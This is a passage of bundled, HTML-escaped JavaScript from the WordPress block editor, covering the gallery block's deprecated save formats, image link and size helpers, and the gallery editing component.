            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;alt&quot;,
            default: &quot;&quot;
          },
          id: {
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-id&quot;
          },
          link: {
            source: &quot;attribute&quot;,
            selector: &quot;img&quot;,
            attribute: &quot;data-link&quot;
          },
          caption: {
            type: &quot;string&quot;,
            source: &quot;html&quot;,
            selector: &quot;figcaption&quot;
          }
        }
      },
      columns: {
        type: &quot;number&quot;
      },
      imageCrop: {
        type: &quot;boolean&quot;,
        default: true
      },
      linkTo: {
        type: &quot;string&quot;,
        default: &quot;none&quot;
      }
    },
    isEligible({ images, ids }) {
      return images &amp;&amp; images.length &gt; 0 &amp;&amp; (!ids &amp;&amp; images || ids &amp;&amp; images &amp;&amp; ids.length !== images.length || images.some((id, index) =&gt; {
        if (!id &amp;&amp; ids[index] !== null) {
          return true;
        }
        return parseInt(id, 10) !== ids[index];
      }));
    },
    migrate(attributes2) {
      return runV2Migration(attributes2);
    },
    supports: {
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        images,
        columns = defaultColumnsNumberV1(attributes2),
        imageCrop,
        linkTo
      } = attributes2;
      return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
        &quot;ul&quot;,
        {
          className: `columns-${columns} ${imageCrop ? &quot;is-cropped&quot; : &quot;&quot;}`,
          children: images.map((image) =&gt; {
            let href;
            switch (linkTo) {
              case &quot;media&quot;:
                href = image.url;
                break;
              case &quot;attachment&quot;:
                href = image.link;
                break;
            }
            const img = /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
              &quot;img&quot;,
              {
                src: image.url,
                alt: image.alt,
                &quot;data-id&quot;: image.id,
                &quot;data-link&quot;: image.link,
                className: image.id ? `wp-image-${image.id}` : null
              }
            );
            return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
              &quot;li&quot;,
              {
                className: &quot;blocks-gallery-item&quot;,
                children: /* @__PURE__ */ (0, import_jsx_runtime254.jsxs)(&quot;figure&quot;, { children: [
                  href ? /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(&quot;a&quot;, { href, children: img }) : img,
                  image.caption &amp;&amp; image.caption.length &gt; 0 &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
                    import_block_editor92.RichText.Content,
                    {
                      tagName: &quot;figcaption&quot;,
                      value: image.caption
                    }
                  )
                ] })
              },
              image.id || image.url
            );
          })
        }
      );
    }
  };
  var v117 = {
    attributes: {
      images: {
        type: &quot;array&quot;,
        default: [],
        source: &quot;query&quot;,
        selector: &quot;div.wp-block-gallery figure.blocks-gallery-image img&quot;,
        query: {
          url: {
            source: &quot;attribute&quot;,
            attribute: &quot;src&quot;
          },
          alt: {
            source: &quot;attribute&quot;,
            attribute: &quot;alt&quot;,
            default: &quot;&quot;
          },
          id: {
            source: &quot;attribute&quot;,
            attribute: &quot;data-id&quot;
          }
        }
      },
      columns: {
        type: &quot;number&quot;
      },
      imageCrop: {
        type: &quot;boolean&quot;,
        default: true
      },
      linkTo: {
        type: &quot;string&quot;,
        default: &quot;none&quot;
      },
      align: {
        type: &quot;string&quot;,
        default: &quot;none&quot;
      }
    },
    supports: {
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        images,
        columns = defaultColumnsNumberV1(attributes2),
        align,
        imageCrop,
        linkTo
      } = attributes2;
      const className = clsx_default(`columns-${columns}`, {
        alignnone: align === &quot;none&quot;,
        &quot;is-cropped&quot;: imageCrop
      });
      return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(&quot;div&quot;, { className, children: images.map((image) =&gt; {
        let href;
        switch (linkTo) {
          case &quot;media&quot;:
            href = image.url;
            break;
          case &quot;attachment&quot;:
            href = image.link;
            break;
        }
        const img = /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
          &quot;img&quot;,
          {
            src: image.url,
            alt: image.alt,
            &quot;data-id&quot;: image.id
          }
        );
        return /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(
          &quot;figure&quot;,
          {
            className: &quot;blocks-gallery-image&quot;,
            children: href ? /* @__PURE__ */ (0, import_jsx_runtime254.jsx)(&quot;a&quot;, { href, children: img }) : img
          },
          image.id || image.url
        );
      }) });
    },
    migrate(attributes2) {
      return runV2Migration(attributes2);
    }
  };
  var deprecated_default19 = [v72, v62, v52, v42, v33, v28, v117];

  // packages/block-library/build-module/gallery/edit.mjs
  var import_components45 = __toESM(require_components(), 1);
  var import_block_editor95 = __toESM(require_block_editor(), 1);
  var import_element33 = __toESM(require_element(), 1);
  var import_i18n75 = __toESM(require_i18n(), 1);
  var import_data38 = __toESM(require_data(), 1);
  var import_primitives160 = __toESM(require_primitives(), 1);
  var import_blocks30 = __toESM(require_blocks(), 1);
  var import_blob9 = __toESM(require_blob(), 1);
  var import_notices6 = __toESM(require_notices(), 1);

  // packages/block-library/build-module/gallery/shared-icon.mjs
  var import_block_editor93 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime255 = __toESM(require_jsx_runtime(), 1);
  var sharedIcon = /* @__PURE__ */ (0, import_jsx_runtime255.jsx)(import_block_editor93.BlockIcon, { icon: gallery_default });

  // packages/block-library/build-module/gallery/shared.mjs
  function defaultColumnsNumber(imageCount) {
    return imageCount ? Math.min(3, imageCount) : 3;
  }
  var pickRelevantMediaFiles = (image, sizeSlug = &quot;large&quot;) =&gt; {
    const imageProps = Object.fromEntries(
      Object.entries(image ?? {}).filter(
        ([key]) =&gt; [&quot;alt&quot;, &quot;id&quot;, &quot;link&quot;].includes(key)
      )
    );
    imageProps.url = image?.sizes?.[sizeSlug]?.url || image?.media_details?.sizes?.[sizeSlug]?.source_url || image?.url || image?.source_url;
    const fullUrl = image?.sizes?.full?.url || image?.media_details?.sizes?.full?.source_url;
    if (fullUrl) {
      imageProps.fullUrl = fullUrl;
    }
    return imageProps;
  };

  // packages/block-library/build-module/image/constants.mjs
  var MIN_SIZE2 = 20;
  var LINK_DESTINATION_NONE2 = &quot;none&quot;;
  var LINK_DESTINATION_MEDIA2 = &quot;media&quot;;
  var LINK_DESTINATION_ATTACHMENT2 = &quot;attachment&quot;;
  var LINK_DESTINATION_CUSTOM = &quot;custom&quot;;
  var NEW_TAB_REL2 = [&quot;noreferrer&quot;, &quot;noopener&quot;];
  var ALLOWED_MEDIA_TYPES3 = [&quot;image&quot;];
  var SIZED_LAYOUTS = [&quot;flex&quot;, &quot;grid&quot;];
  var DEFAULT_MEDIA_SIZE_SLUG3 = &quot;full&quot;;

  // packages/block-library/build-module/gallery/utils.mjs
  function getHrefAndDestination2(image, galleryDestination, imageDestination, attributes2, lightboxSetting) {
    switch (imageDestination ? imageDestination : galleryDestination) {
      case LINK_DESTINATION_MEDIA_WP_CORE:
      case LINK_DESTINATION_MEDIA:
        return {
          href: image?.source_url || image?.url,
          linkDestination: LINK_DESTINATION_MEDIA2,
          lightbox: lightboxSetting?.enabled ? { ...attributes2?.lightbox, enabled: false } : void 0
        };
      case LINK_DESTINATION_ATTACHMENT_WP_CORE:
      case LINK_DESTINATION_ATTACHMENT:
        return {
          href: image?.link,
          linkDestination: LINK_DESTINATION_ATTACHMENT2,
          lightbox: lightboxSetting?.enabled ? { ...attributes2?.lightbox, enabled: false } : void 0
        };
      case LINK_DESTINATION_LIGHTBOX:
        return {
          href: void 0,
          lightbox: !lightboxSetting?.enabled ? { ...attributes2?.lightbox, enabled: true } : void 0,
          linkDestination: LINK_DESTINATION_NONE2
        };
      case LINK_DESTINATION_NONE:
        return {
          href: void 0,
          linkDestination: LINK_DESTINATION_NONE2,
          lightbox: void 0
        };
    }
    return {};
  }

  // packages/block-library/build-module/image/utils.mjs
  function evalAspectRatio(value) {
    const [width, height = 1] = value.split(&quot;/&quot;).map(Number);
    const aspectRatio = width / height;
    return aspectRatio === Infinity || aspectRatio === 0 ? NaN : aspectRatio;
  }
  function removeNewTabRel(currentRel) {
    let newRel = currentRel;
    if (currentRel !== void 0 &amp;&amp; newRel) {
      NEW_TAB_REL2.forEach((relVal) =&gt; {
        const regExp = new RegExp(&quot;\\b&quot; + relVal + &quot;\\b&quot;, &quot;gi&quot;);
        newRel = newRel.replace(regExp, &quot;&quot;);
      });
      if (newRel !== currentRel) {
        newRel = newRel.trim();
      }
      if (!newRel) {
        newRel = void 0;
      }
    }
    return newRel;
  }
  function getUpdatedLinkTargetSettings(value, { rel }) {
    const linkTarget = value ? &quot;_blank&quot; : void 0;
    let updatedRel;
    if (!linkTarget &amp;&amp; !rel) {
      updatedRel = void 0;
    } else {
      updatedRel = removeNewTabRel(rel);
    }
    return {
      linkTarget,
      rel: updatedRel
    };
  }
  function getImageSizeAttributes(image, size) {
    const url = image?.media_details?.sizes?.[size]?.source_url;
    if (url) {
      return { url, width: void 0, height: void 0, sizeSlug: size };
    }
    return {};
  }
  function isValidFileType(file) {
    return ALLOWED_MEDIA_TYPES3.some(
      (mediaType) =&gt; file.type.indexOf(mediaType) === 0
    );
  }
  function mediaPosition2({ x: x2, y: y2 } = { x: 0.5, y: 0.5 }) {
    return `${Math.round(x2 * 100)}% ${Math.round(y2 * 100)}%`;
  }

  // packages/block-library/build-module/gallery/gallery.mjs
  var import_i18n74 = __toESM(require_i18n(), 1);
  var import_primitives159 = __toESM(require_primitives(), 1);
  var import_jsx_runtime256 = __toESM(require_jsx_runtime(), 1);
  function Gallery(props) {
    const {
      attributes: attributes2,
      isSelected,
      setAttributes,
      mediaPlaceholder,
      insertBlocksAfter,
      blockProps,
      __unstableLayoutClassNames: layoutClassNames,
      isContentLocked,
      multiGallerySelection
    } = props;
    const { align, columns, imageCrop } = attributes2;
    return /* @__PURE__ */ (0, import_jsx_runtime256.jsxs)(
      &quot;figure&quot;,
      {
        ...blockProps,
        className: clsx_default(
          blockProps.className,
          layoutClassNames,
          &quot;blocks-gallery-grid&quot;,
          {
            [`align${align}`]: align,
            [`columns-${columns}`]: columns !== void 0,
            [`columns-default`]: columns === void 0,
            &quot;is-cropped&quot;: imageCrop
          }
        ),
        children: [
          blockProps.children,
          isSelected &amp;&amp; !blockProps.children &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime256.jsx)(import_primitives159.View, { className: &quot;blocks-gallery-media-placeholder-wrapper&quot;, children: mediaPlaceholder }),
          /* @__PURE__ */ (0, import_jsx_runtime256.jsx)(
            Caption,
            {
              attributes: attributes2,
              setAttributes,
              isSelected,
              insertBlocksAfter,
              showToolbarButton: !multiGallerySelection &amp;&amp; !isContentLocked,
              className: &quot;blocks-gallery-caption&quot;,
              label: (0, import_i18n74.__)(&quot;Gallery caption text&quot;),
              placeholder: (0, import_i18n74.__)(&quot;Add gallery caption&quot;)
            }
          )
        ]
      }
    );
  }

  // packages/block-library/build-module/gallery/use-image-sizes.mjs
  var import_element31 = __toESM(require_element(), 1);
  function useImageSizes(images, isSelected, getSettings2) {
    return (0, import_element31.useMemo)(() =&gt; getImageSizing(), [images, isSelected]);
    function getImageSizing() {
      if (!images || images.length === 0) {
        return;
      }
      const { imageSizes } = getSettings2();
      let resizedImages = {};
      if (isSelected) {
        resizedImages = images.reduce((currentResizedImages, img) =&gt; {
          if (!img.id) {
            return currentResizedImages;
          }
          const sizes = imageSizes.reduce((currentSizes, size) =&gt; {
            const defaultUrl = img.sizes?.[size.slug]?.url;
            const mediaDetailsUrl = img.media_details?.sizes?.[size.slug]?.source_url;
            return {
              ...currentSizes,
              [size.slug]: defaultUrl || mediaDetailsUrl
            };
          }, {});
          return {
            ...currentResizedImages,
            [parseInt(img.id, 10)]: sizes
          };
        }, {});
      }
      const resizedImageSizes = Object.values(resizedImages);
      return imageSizes.filter(
        ({ slug }) =&gt; resizedImageSizes.some((sizes) =&gt; sizes[slug])
      ).map(({ name: name123, slug }) =&gt; ({ value: slug, label: name123 }));
    }
  }

  // packages/block-library/build-module/gallery/use-get-new-images.mjs
  var import_element32 = __toESM(require_element(), 1);
  function useGetNewImages(images, imageData) {
    const [currentImages, setCurrentImages] = (0, import_element32.useState)([]);
    return (0, import_element32.useMemo)(() =&gt; getNewImages(), [images, imageData]);
    function getNewImages() {
      let imagesUpdated = false;
      const newCurrentImages = currentImages.filter(
        (currentImg) =&gt; images.find((img) =&gt; {
          return currentImg.clientId === img.clientId;
        })
      );
      if (newCurrentImages.length &lt; currentImages.length) {
        imagesUpdated = true;
      }
      images.forEach((image) =&gt; {
        if (image.fromSavedContent &amp;&amp; !newCurrentImages.find(
          (currentImage) =&gt; currentImage.id === image.id
        )) {
          imagesUpdated = true;
          newCurrentImages.push(image);
        }
      });
      const newImages = images.filter(
        (image) =&gt; !newCurrentImages.find(
          (currentImage) =&gt; image.clientId &amp;&amp; currentImage.clientId === image.clientId
        ) &amp;&amp; imageData?.find((img) =&gt; img.id === image.id) &amp;&amp; !image.fromSavedContent
      );
      if (imagesUpdated || newImages?.length &gt; 0) {
        setCurrentImages([...newCurrentImages, ...newImages]);
      }
      return newImages.length &gt; 0 ? newImages : null;
    }
  }

  // packages/block-library/build-module/gallery/use-get-media.mjs
  var import_data37 = __toESM(require_data(), 1);
  var import_core_data20 = __toESM(require_core_data(), 1);
  var EMPTY_IMAGE_MEDIA = [];
  function useGetMedia(innerBlockImages) {
    return (0, import_data37.useSelect)(
      (select9) =&gt; {
        const imageIds = innerBlockImages.map((imageBlock) =&gt; imageBlock.attributes.id).filter((id) =&gt; id !== void 0);
        if (imageIds.length === 0) {
          return EMPTY_IMAGE_MEDIA;
        }
        return select9(import_core_data20.store).getEntityRecords(
          &quot;postType&quot;,
          &quot;attachment&quot;,
          {
            include: imageIds.join(&quot;,&quot;),
            per_page: -1,
            orderby: &quot;include&quot;
          }
        ) ?? EMPTY_IMAGE_MEDIA;
      },
      [innerBlockImages]
    );
  }

  // packages/block-library/build-module/gallery/gap-styles.mjs
  var import_block_editor94 = __toESM(require_block_editor(), 1);
  function GapStyles({ blockGap, clientId }) {
    const fallbackValue = `var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) )`;
    let gapValue = fallbackValue;
    let column = fallbackValue;
    let row;
    if (!!blockGap) {
      row = typeof blockGap === &quot;string&quot; ? (0, import_block_editor94.__experimentalGetGapCSSValue)(blockGap) : (0, import_block_editor94.__experimentalGetGapCSSValue)(blockGap?.top) || fallbackValue;
      column = typeof blockGap === &quot;string&quot; ? (0, import_block_editor94.__experimentalGetGapCSSValue)(blockGap) : (0, import_block_editor94.__experimentalGetGapCSSValue)(blockGap?.left) || fallbackValue;
      gapValue = row === column ? row : `${row} ${column}`;
    }
    const gap = `#block-${clientId} {
		--wp--style--unstable-gallery-gap: ${column === &quot;0&quot; ? &quot;0px&quot; : column};
		gap: ${gapValue}
	}`;
    (0, import_block_editor94.useStyleOverride)({ css: gap });
    return null;
  }

  // packages/block-library/build-module/gallery/edit.mjs
  var import_jsx_runtime257 = __toESM(require_jsx_runtime(), 1);
  var MAX_COLUMNS = 8;
  var LINK_OPTIONS = [
    {
      icon: custom_link_default,
      label: (0, import_i18n75.__)(&quot;Link images to attachment pages&quot;),
      value: LINK_DESTINATION_ATTACHMENT,
      noticeText: (0, import_i18n75.__)(&quot;Attachment Pages&quot;)
    },
    {
      icon: image_default,
      label: (0, import_i18n75.__)(&quot;Link images to media files&quot;),
      value: LINK_DESTINATION_MEDIA,
      noticeText: (0, import_i18n75.__)(&quot;Media Files&quot;)
    },
    {
      icon: fullscreen_default,
      label: (0, import_i18n75.__)(&quot;Enlarge on click&quot;),
      value: LINK_DESTINATION_LIGHTBOX,
      noticeText: (0, import_i18n75.__)(&quot;Lightbox effect&quot;),
      infoText: (0, import_i18n75.__)(&quot;Scale images with a lightbox effect&quot;)
    },
    {
      icon: link_off_default,
      label: (0, import_i18n75._x)(&quot;None&quot;, &quot;Media item link option&quot;),
      value: LINK_DESTINATION_NONE,
      noticeText: (0, import_i18n75.__)(&quot;None&quot;)
    }
  ];
  var NAVIGATION_BUTTON_TYPE_OPTIONS = [
    {
      label: (0, import_i18n75.__)(&quot;Icon&quot;),
      value: &quot;icon&quot;
    },
    {
      label: (0, import_i18n75.__)(&quot;Text&quot;),
      value: &quot;text&quot;
    },
    {
      label: (0, import_i18n75.__)(&quot;Both&quot;),
      value: &quot;both&quot;
    }
  ];
  var ALLOWED_MEDIA_TYPES4 = [&quot;image&quot;];
  var PLACEHOLDER_TEXT = import_element33.Platform.isNative ? (0, import_i18n75.__)(&quot;Add media&quot;) : (0, import_i18n75.__)(&quot;Drag and drop images, upload, or choose from your library.&quot;);
  var MOBILE_CONTROL_PROPS_RANGE_CONTROL = import_element33.Platform.isNative ? { type: &quot;stepper&quot; } : {};
  var DEFAULT_BLOCK3 = { name: &quot;core/image&quot; };
  var EMPTY_ARRAY = [];
  function GalleryEdit(props) {
    const {
      setAttributes,
      attributes: attributes2,
      className,
      clientId,
      isSelected,
      insertBlocksAfter,
      isContentLocked,
      onFocus
    } = props;
    const [lightboxSetting, defaultRatios, themeRatios, showDefaultRatios] = (0, import_block_editor95.useSettings)(
      &quot;blocks.core/image.lightbox&quot;,
      &quot;dimensions.aspectRatios.default&quot;,
      &quot;dimensions.aspectRatios.theme&quot;,
      &quot;dimensions.defaultAspectRatios&quot;
    );
    const linkOptions = !lightboxSetting?.allowEditing ? LINK_OPTIONS.filter(
      (option) =&gt; option.value !== LINK_DESTINATION_LIGHTBOX
    ) : LINK_OPTIONS;
    const {
      navigationButtonType,
      columns,
      imageCrop,
      randomOrder,
      linkTarget,
      linkTo,
      sizeSlug,
      aspectRatio
    } = attributes2;
    const {
      __unstableMarkNextChangeAsNotPersistent,
      replaceInnerBlocks,
      updateBlockAttributes,
      selectBlock
    } = (0, import_data38.useDispatch)(import_block_editor95.store);
    const { createSuccessNotice, createErrorNotice } = (0, import_data38.useDispatch)(import_notices6.store);
    const {
      getBlock,
      getSettings: getSettings2,
      innerBlockImages,
      blockWasJustInserted,
      multiGallerySelection
    } = (0, import_data38.useSelect)(
      (select9) =&gt; {
        const {
          getBlockName,
          getMultiSelectedBlockClientIds,
          getSettings: _getSettings,
          getBlock: _getBlock,
          wasBlockJustInserted
        } = select9(import_block_editor95.store);
        const multiSelectedClientIds = getMultiSelectedBlockClientIds();
        return {
          getBlock: _getBlock,
          getSettings: _getSettings,
          innerBlockImages: _getBlock(clientId)?.innerBlocks ?? EMPTY_ARRAY,
          blockWasJustInserted: wasBlockJustInserted(
            clientId,
            &quot;inserter_menu&quot;
          ),
          multiGallerySelection: multiSelectedClientIds.length &amp;&amp; multiSelectedClientIds.every(
            (_clientId) =&gt; getBlockName(_clientId) === &quot;core/gallery&quot;
          )
        };
      },
      [clientId]
    );
    const images = (0, import_element33.useMemo)(
      () =&gt; innerBlockImages?.map((block) =&gt; ({
        clientId: block.clientId,
        id: block.attributes.id,
        url: block.attributes.url,
        attributes: block.attributes,
        fromSavedContent: Boolean(block.originalContent)
      })),
      [innerBlockImages]
    );
    const imageData = useGetMedia(innerBlockImages);
    const newImages = useGetNewImages(images, imageData);
    const hasLightboxImages = lightboxSetting?.enabled ? images.filter(
      (image) =&gt; image.attributes?.lightbox?.enabled === void 0 || image.attributes?.lightbox?.enabled === true
    ).length &gt; 0 : images.filter((image) =&gt; image.attributes.lightbox?.enabled).length &gt; 0;
    const themeOptions = themeRatios?.map(({ name: name123, ratio }) =&gt; ({
      label: name123,
      value: ratio
    }));
    const defaultOptions = defaultRatios?.map(({ name: name123, ratio }) =&gt; ({
      label: name123,
      value: ratio
    }));
    const aspectRatioOptions = [
      {
        label: (0, import_i18n75._x)(
          &quot;Original&quot;,
          &quot;Aspect ratio option for dimensions control&quot;
        ),
        value: &quot;auto&quot;
      },
      ...showDefaultRatios ? defaultOptions || [] : [],
      ...themeOptions || []
    ];
    (0, import_element33.useEffect)(() =&gt; {
      newImages?.forEach((newImage) =&gt; {
        __unstableMarkNextChangeAsNotPersistent();
        updateBlockAttributes(newImage.clientId, {
          ...buildImageAttributes(newImage.attributes),
          id: newImage.id,
          align: void 0
        });
      });
    }, [newImages]);
    const imageSizeOptions = useImageSizes(
      imageData,
      isSelected,
      getSettings2
    );
    function buildImageAttributes(imageAttributes) {
      const image = imageAttributes.id ? imageData.find(({ id }) =&gt; id === imageAttributes.id) : null;
      let newClassName;
      if (imageAttributes.className &amp;&amp; imageAttributes.className !== &quot;&quot;) {
        newClassName = imageAttributes.className;
      }
      let newLinkTarget;
      if (imageAttributes.linkTarget || imageAttributes.rel) {
        newLinkTarget = {
          linkTarget: imageAttributes.linkTarget,
          rel: imageAttributes.rel
        };
      } else {
        newLinkTarget = getUpdatedLinkTargetSettings(
          linkTarget,
          attributes2
        );
      }
      return {
        ...pickRelevantMediaFiles(image, sizeSlug),
        ...getHrefAndDestination2(
          image,
          linkTo,
          imageAttributes?.linkDestination
        ),
        ...newLinkTarget,
        className: newClassName,
        sizeSlug,
        caption: imageAttributes.caption.length &gt; 0 ? imageAttributes.caption : image.caption?.raw,
        alt: imageAttributes.alt || image.alt_text,
        aspectRatio: aspectRatio === &quot;auto&quot; ? void 0 : aspectRatio
      };
    }
    function isValidFileType2(file) {
      const nativeFileData = import_element33.Platform.isNative &amp;&amp; file.id ? imageData.find(({ id }) =&gt; id === file.id) : null;
      const mediaTypeSelector = nativeFileData ? nativeFileData?.media_type : file.type;
      return ALLOWED_MEDIA_TYPES4.some(
        (mediaType) =&gt; mediaTypeSelector?.indexOf(mediaType) === 0
      ) || file.blob;
    }
    function updateImages(selectedImages) {
      const newFileUploads = Object.prototype.toString.call(selectedImages) === &quot;[object FileList]&quot;;
      const imageArray = newFileUploads ? Array.from(selectedImages).map((file) =&gt; {
        if (!file.url) {
          return {
            blob: (0, import_blob9.createBlobURL)(file)
          };
        }
        return file;
      }) : selectedImages;
      if (!imageArray.every(isValidFileType2)) {
        createErrorNotice(
          (0, import_i18n75.__)(
            &quot;If uploading to a gallery all files need to be image formats&quot;
          ),
          { id: &quot;gallery-upload-invalid-file&quot;, type: &quot;snackbar&quot; }
        );
      }
      const processedImages = imageArray.filter((file) =&gt; file.url || isValidFileType2(file)).map((file) =&gt; {
        if (!file.url) {
          return {
            blob: file.blob || (0, import_blob9.createBlobURL)(file)
          };
        }
        return file;
      });
      const newOrderMap = processedImages.reduce(
        (result, image, index) =&gt; (result[image.id] = index, result),
        {}
      );
      const existingImageBlocks = !newFileUploads ? innerBlockImages.filter(
        (block) =&gt; processedImages.find(
          (img) =&gt; img.id === block.attributes.id
        )
      ) : innerBlockImages;
      const newImageList = processedImages.filter(
        (img) =&gt; !existingImageBlocks.find(
          (existingImg) =&gt; img.id === existingImg.attributes.id
        )
      );
      const newBlocks = newImageList.map((image) =&gt; {
        return (0, import_blocks30.createBlock)(&quot;core/image&quot;, {
          id: image.id,
          blob: image.blob,
          url: image.url,
          caption: image.caption,
          alt: image.alt
        });
      });
      replaceInnerBlocks(
        clientId,
        existingImageBlocks.concat(newBlocks).sort(
          (a2, b2) =&gt; newOrderMap[a2.attributes.id] - newOrderMap[b2.attributes.id]
        )
      );
      if (newBlocks?.length &gt; 0) {
        selectBlock(newBlocks[0].clientId);
      }
    }
    function onUploadError(message) {
      createErrorNotice(message, { type: &quot;snackbar&quot; });
    }
    function setLinkTo(value) {
      setAttributes({ linkTo: value });
      const changedAttributes = {};
      const blocks = [];
      getBlock(clientId).innerBlocks.forEach((block) =&gt; {
        blocks.push(block.clientId);
        const image = block.attributes.id ? imageData.find(({ id }) =&gt; id === block.attributes.id) : null;
        changedAttributes[block.clientId] = getHrefAndDestination2(
          image,
          value,
          false,
          block.attributes,
          lightboxSetting
        );
      });
      updateBlockAttributes(blocks, changedAttributes, {
        uniqueByBlock: true
      });
      const linkToText = [...linkOptions].find(
        (linkType) =&gt; linkType.value === value
      );
      createSuccessNotice(
        (0, import_i18n75.sprintf)(
          /* translators: %s: image size settings */
          (0, import_i18n75.__)(&quot;All gallery image links updated to: %s&quot;),
          linkToText.noticeText
        ),
        {
          id: &quot;gallery-attributes-linkTo&quot;,
          type: &quot;snackbar&quot;
        }
      );
    }
    function setColumnsNumber(value) {
      setAttributes({ columns: value });
    }
    function toggleImageCrop() {
      setAttributes({ imageCrop: !imageCrop });
    }
    function toggleRandomOrder() {
      setAttributes({ randomOrder: !randomOrder });
    }
    function toggleOpenInNewTab(openInNewTab) {
      const newLinkTarget = openInNewTab ? &quot;_blank&quot; : void 0;
      setAttributes({ linkTarget: newLinkTarget });
      const changedAttributes = {};
      const blocks = [];
      getBlock(clientId).innerBlocks.forEach((block) =&gt; {
        blocks.push(block.clientId);
        changedAttributes[block.clientId] = getUpdatedLinkTargetSettings(
          newLinkTarget,
          block.attributes
        );
      });
      updateBlockAttributes(blocks, changedAttributes, {
        uniqueByBlock: true
      });
      const noticeText = openInNewTab ? (0, import_i18n75.__)(&quot;All gallery images updated to open in new tab&quot;) : (0, import_i18n75.__)(&quot;All gallery images updated to not open in new tab&quot;);
      createSuccessNotice(noticeText, {
        id: &quot;gallery-attributes-openInNewTab&quot;,
        type: &quot;snackbar&quot;
      });
    }
    function updateImagesSize(newSizeSlug) {
      setAttributes({ sizeSlug: newSizeSlug });
      const changedAttributes = {};
      const blocks = [];
      getBlock(clientId).innerBlocks.forEach((block) =&gt; {
        blocks.push(block.clientId);
        const image = block.attributes.id ? imageData.find(({ id }) =&gt; id === block.attributes.id) : null;
        changedAttributes[block.clientId] = getImageSizeAttributes(
          image,
          newSizeSlug
        );
      });
      updateBlockAttributes(blocks, changedAttributes, {
        uniqueByBlock: true
      });
      const imageSize = imageSizeOptions.find(
        (size) =&gt; size.value === newSizeSlug
      );
      createSuccessNotice(
        (0, import_i18n75.sprintf)(
          /* translators: %s: image size settings */
          (0, import_i18n75.__)(&quot;All gallery image sizes updated to: %s&quot;),
          imageSize?.label ?? newSizeSlug
        ),
        {
          id: &quot;gallery-attributes-sizeSlug&quot;,
          type: &quot;snackbar&quot;
        }
      );
    }
    function setAspectRatio(value) {
      setAttributes({ aspectRatio: value });
      const changedAttributes = {};
      const blocks = [];
      getBlock(clientId).innerBlocks.forEach((block) =&gt; {
        blocks.push(block.clientId);
        changedAttributes[block.clientId] = {
          aspectRatio: value === &quot;auto&quot; ? void 0 : value
        };
      });
      updateBlockAttributes(blocks, changedAttributes, true);
      const aspectRatioText = aspectRatioOptions.find(
        (option) =&gt; option.value === value
      );
      createSuccessNotice(
        (0, import_i18n75.sprintf)(
          /* translators: %s: aspect ratio setting */
          (0, import_i18n75.__)(&quot;All gallery images updated to aspect ratio: %s&quot;),
          aspectRatioText?.label || value
        ),
        {
          id: &quot;gallery-attributes-aspectRatio&quot;,
          type: &quot;snackbar&quot;
        }
      );
    }
    (0, import_element33.useEffect)(() =&gt; {
      if (!linkTo) {
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({
          linkTo: window?.wp?.media?.view?.settings?.defaultProps?.link || LINK_DESTINATION_NONE
        });
      }
    }, [linkTo]);
    const hasImages = !!images.length;
    const hasImageIds = hasImages &amp;&amp; images.some((image) =&gt; !!image.id);
    const imagesUploading = images.some(
      (img) =&gt; !import_element33.Platform.isNative ? !img.id &amp;&amp; img.url?.indexOf(&quot;blob:&quot;) === 0 : img.url?.indexOf(&quot;file:&quot;) === 0
    );
    const mediaPlaceholderProps = import_element33.Platform.select({
      web: {
        addToGallery: false,
        disableMediaButtons: imagesUploading,
        value: {}
      },
      native: {
        addToGallery: hasImageIds,
        isAppender: hasImages,
        disableMediaButtons: hasImages &amp;&amp; !isSelected || imagesUploading,
        value: hasImageIds ? images : {},
        autoOpenMediaUpload: !hasImages &amp;&amp; isSelected &amp;&amp; blockWasJustInserted,
        onFocus
      }
    });
    const mediaPlaceholder = /* @__PURE__ */ (0, import_jsx_runtime257.jsx)(
      import_block_editor95.MediaPlaceholder,
      {
        handleUpload: false,
        icon: sharedIcon,
        labels: {
          title: (0, import_i18n75.__)(&quot;Gallery&quot;),
          instructions: PLACEHOLDER_TEXT
        },
        onSelect: updateImages,
        allowedTypes: ALLOWED_MEDIA_TYPES4,
        multiple: true,
        onError: onUploadError,
        ...mediaPlaceholderProps
      }
    );
    const blockProps = (0, import_block_editor95.useBlockProps)({
      className: clsx_default(className, &quot;has-nested-images&quot;)
    });
    const nativeInnerBlockProps = import_element33.Platform.isNative &amp;&amp; {
      marginHorizontal: 0,
      marginVertical: 0
    };
    const innerBlocksProps = (0, import_block_editor95.useInnerBlocksProps)(blockProps, {
      defaultBlock: DEFAULT_BLOCK3,
      directInsert: true,
      orientation: &quot;horizontal&quot;,
      renderAppender: false,
      ...nativeInnerBlockProps
    });
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    if (!hasImages) {
      return /* @__PURE__ */ (0, import_jsx_runtime257.jsxs)(import_primitives160.View, { ...innerBlocksProps, children: [
        innerBlocksProps.children,
        mediaPlaceholder
      ] });
    }
    const hasLinkTo = linkTo &amp;&amp; linkTo !== &quot;none&quot;;
    return /* @__PURE__ */ (0, import_jsx_runtime257.jsxs)(import_jsx_runtime257.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime257.jsxs)(import_block_editor95.InspectorControls, { children: [
        import_element33.Platform.isWeb &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime257.jsxs)(
          import_components45.__experimentalToolsPanel,
          {
            label: (0, import_i18n75.__)(&quot;Settings&quot;),
            resetAll: () =&gt; {
              setAttributes({
                navigationButtonType: &quot;icon&quot;,
                columns: void 0,
                imageCrop: true,
                randomOrder: false
              });
              setAspectRatio(&quot;auto&quot;);
              if (sizeSlug !== DEFAULT_MEDIA_SIZE_SLUG2) {
                updateImagesSize(DEFAULT_MEDIA_SIZE_SLUG2);
              }
              if (linkTarget) {
